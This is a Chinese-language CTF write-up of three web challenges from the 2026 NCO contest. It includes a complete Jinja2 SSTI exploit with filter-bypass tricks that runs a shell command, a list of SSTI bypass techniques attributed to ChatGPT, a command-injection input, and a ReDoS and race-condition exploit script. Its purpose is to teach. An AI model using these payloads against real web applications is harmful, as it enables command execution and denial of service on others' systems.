2026 NCO 部分 WEB 题目复现

2026 NCO 部分 WEB 题目复现

本文字数:1868  阅读时长:4分钟

访客数:加载中... | 阅读量:加载中...

0x01个性签名生成器

题目链接2026-NCO-Quals/web/Web-中等夺旗-个性签名生成器/source.py at main · CTF-Archives/2026-NCO-Quals 启动后是如下界面,输入{{3*3}},返回渲染9,可以确定为SSTI模版注入。 127.0.0.1:5004/source 泄露部分源码 构造原始payload为cycler.init.globals['os'].popen('cat /tmp/flag.txt').read(),再通过拼接进行绕过。最终的exp如下

python
import re
import sys
import requests
from bs4 import BeautifulSoup

def extract_text(html: str) -> str:
    """从返回 HTML 中提取可读文本"""
    soup = BeautifulSoup(html, "html.parser")
    text = soup.get_text("\n")
    text = re.sub(r"\n{2,}", "\n", text)
    return text.strip()

def extract_flag(text: str) -> str | None:
    """尝试提取常见 flag 格式"""
    patterns = [
        r"NCO26\{[^}]+\}",
        r"GZCTF\{[^}]+\}",
        r"flag\{[^}]+\}",
        r"FLAG\{[^}]+\}",
    ]
    for p in patterns:
        m = re.search(p, text)
        if m:
            return m.group(0)
    return None

def exploit(target: str):
    target = target.rstrip("/")
    url = target + "/generate"
    print("[+] Target URL:", url)
    payload = "{{ cycler.__init__['__glo'+'bals__']['o'+'s']['po'+'pen']('cat /tmp/flag.txt')['read']() }}"

    print("[+] Target:", target)
    print("[+] Payload length:", len(payload))
    print("[+] Sending payload...")

    r = requests.post(
        url,
        data={"name": payload},
        timeout=10
    )

    print("[+] HTTP status:", r.status_code)

    text = extract_text(r.text)
    flag = extract_flag(text)

    if flag:
        print("[+] Flag found:")
        print(flag)
    else:
        print("[-] Flag not found directly. Response text:")
        print(text)

if __name__ == "__main__":
    exploit('http://127.0.0.1:5004')

因为对SSTI不是特别熟悉,我让ChatGPT给了些可能替换的组件,它还列出来了config,request,self,url_for,get_flashed_messages,lipsum,namespace可以对cycler进行替换。

text
ChatGPT给出的常见绕过方法:
1. 字符串拼接
globals → 'glo'+'bals'
os      → 'o'+'s'

2. attr 过滤器
obj|attr('__class__') 等价于obj.__class__,可以绕过点过滤

3. request.args 传参
request.args.a = __globals__,然后{{ obj|attr(request.args.a) }}就可以实现obj.__globals__

4. 十六进制/Unicode 编码
\x5f\x5fclass\x5f\x5f

5. 不同对象链替代
cycler / lipsum / url_for / get_flashed_messages / config

6. 不走命令执行,改走文件读取
open('/tmp/flag.txt').read()

0x02 Web-Pino

环境文件https://github.com/CTF-Archives/2026-NCO-Final/blob/main/web/Web-Pino/app.py 启动后很熟悉的界面,一看就是联合命令执行 输入127.0.0.1&more<flag.txt即可获取flag

0x03 Web-What-CAN-I-Say

环境文件https://github.com/CTF-Archives/2026-NCO-Final/blob/main/web/Web-What-CAN-I-Say/app.py 启动后界面是这样的,在/debug 接口会泄露源码文件 重点关注/api/submit接口

python
@app.post("/api/submit")
def submit():
    uid = uid_of()
    if time.time() - session["start"] > CONTEST_SECONDS:
        return jsonify(ok=False, msg="比赛已结束,无法提交"), 403
    content = (request.form.get("content") or "").strip()
    if not content:
        return jsonify(ok=False, msg="内容为空"), 400
    if len(content) > 512:
        return jsonify(ok=False, msg="WriteUp 超过 512 字限制"), 400

    lock = ai_lock[uid]
    wid = None
    if not lock.acquire(blocking=True, timeout=0.1):
        wid = _ins_review(uid, content)
        return jsonify(ok=True, msg="你的 WriteUp 已成功提交,待审核")
    try:
        has_flag = executor.submit(_has_nco26_flag, content).result(timeout=30)
        if not has_flag:
            _del_review(wid)
            return jsonify(ok=False, msg="WriteUp 里需要贴上 flag (NCO26{...})")
        if FLAG in content:
            return jsonify(ok=True, msg=f"恭喜你获得了 FLAG!{FLAG}")
        else:
            _del_review(wid)
            return jsonify(ok=False, msg="FLAG不对哦")
    finally:
        lock.release()

在这部分有条件竞争,这部分代码的意思为尝试获取用户的锁,若获取失败则将提交的wp插入review中并且标记为待审核。否则对提交的wp进行判定,匹配其中的flag是否正确。

python
lock = ai_lock[uid] #设置lock为该uid用户的锁
wid = None
#若获取锁失败,将提交的wp插入review中并且标记为待审核
if not lock.acquire(blocking=True, timeout=0.1): 
    wid = _ins_review(uid, content)
    return jsonify(ok=True, msg="你的 WriteUp 已成功提交,待审核")
try:
    has_flag = executor.submit(_has_nco26_flag, content).result(timeout=30)
    if not has_flag:
        _del_review(wid)
        return jsonify(ok=False, msg="WriteUp 里需要贴上 flag (NCO26{...})")
    if FLAG in content:
        return jsonify(ok=True, msg=f"恭喜你获得了 FLAG!{FLAG}")
    else:
        _del_review(wid)
        return jsonify(ok=False, msg="FLAG不对哦")

而在/api/status 接口中,其对正确性的判定在user_has_wp函数中,查看可以发现,是通过return bool(user_review.get(uid)) 进行判定的,就是检查在review中是否有该uid的文件,而我们刚刚只要通过条件竞争让其抢不到锁就能实现插入review!

python
@app.get("/api/status")
def status():
    uid = uid_of()
    remaining = max(0, CONTEST_SECONDS - (time.time() - session["start"]))
    if user_has_wp(uid):
        return jsonify(state="win", flag=FLAG)
    if remaining > 0:
        return jsonify(state="running", remaining=int(remaining))
    return jsonify(state="mamba")
python
def user_has_wp(uid):
    with db_lock:
        return bool(user_review.get(uid))

此外再看匹配这部分,使用了( … * … * )* 就是嵌套星号,这是灾难性回溯的经典结构。因此如果匹配不到NCO26{…}会触发大量回溯,浪费时间,从而实现长时间占用锁!

python
def _has_nco26_flag(content: str) -> bool:
    RULE = re.compile(
        r"^([A-Za-z]*[0-9]*)*\s*(NCO26\{[^}]*\})\s*([A-Za-z]*[0-9]*)*$",
        re.DOTALL | re.IGNORECASE,
    )
    return bool(RULE.match(content))

最终exp如下

python
import time
import threading
import requests

TARGET = "http://127.0.0.1:5005"

s = requests.Session()

# 先访问首页,初始化 uid 和 start
s.get(TARGET + "/", timeout=5)

# 触发正则灾难性回溯,卡住 ai_lock
redos_payload = "A" * 30

def hold_lock():
    try:
        r = s.post(
            TARGET + "/api/submit",
            data={"content": redos_payload},
            timeout=35
        )
        print("[first]", r.status_code, r.text[:100])
    except Exception as e:
        print("[first exception]", repr(e))

# 第一个请求拿锁并卡住
t = threading.Thread(target=hold_lock, daemon=True)
t.start()

# 确保第一个请求已经进入审核逻辑
time.sleep(0.2)

# 第二个请求,同一个 session,抢不到锁就会被直接插入 review_tbl
r = s.post(
    TARGET + "/api/submit",
    data={"content": "hello"},
    timeout=5
)

print("[second]", r.status_code, r.text)

# 查询状态,拿 flag
r = s.get(TARGET + "/api/status", timeout=5)
print("[status]", r.status_code, r.text)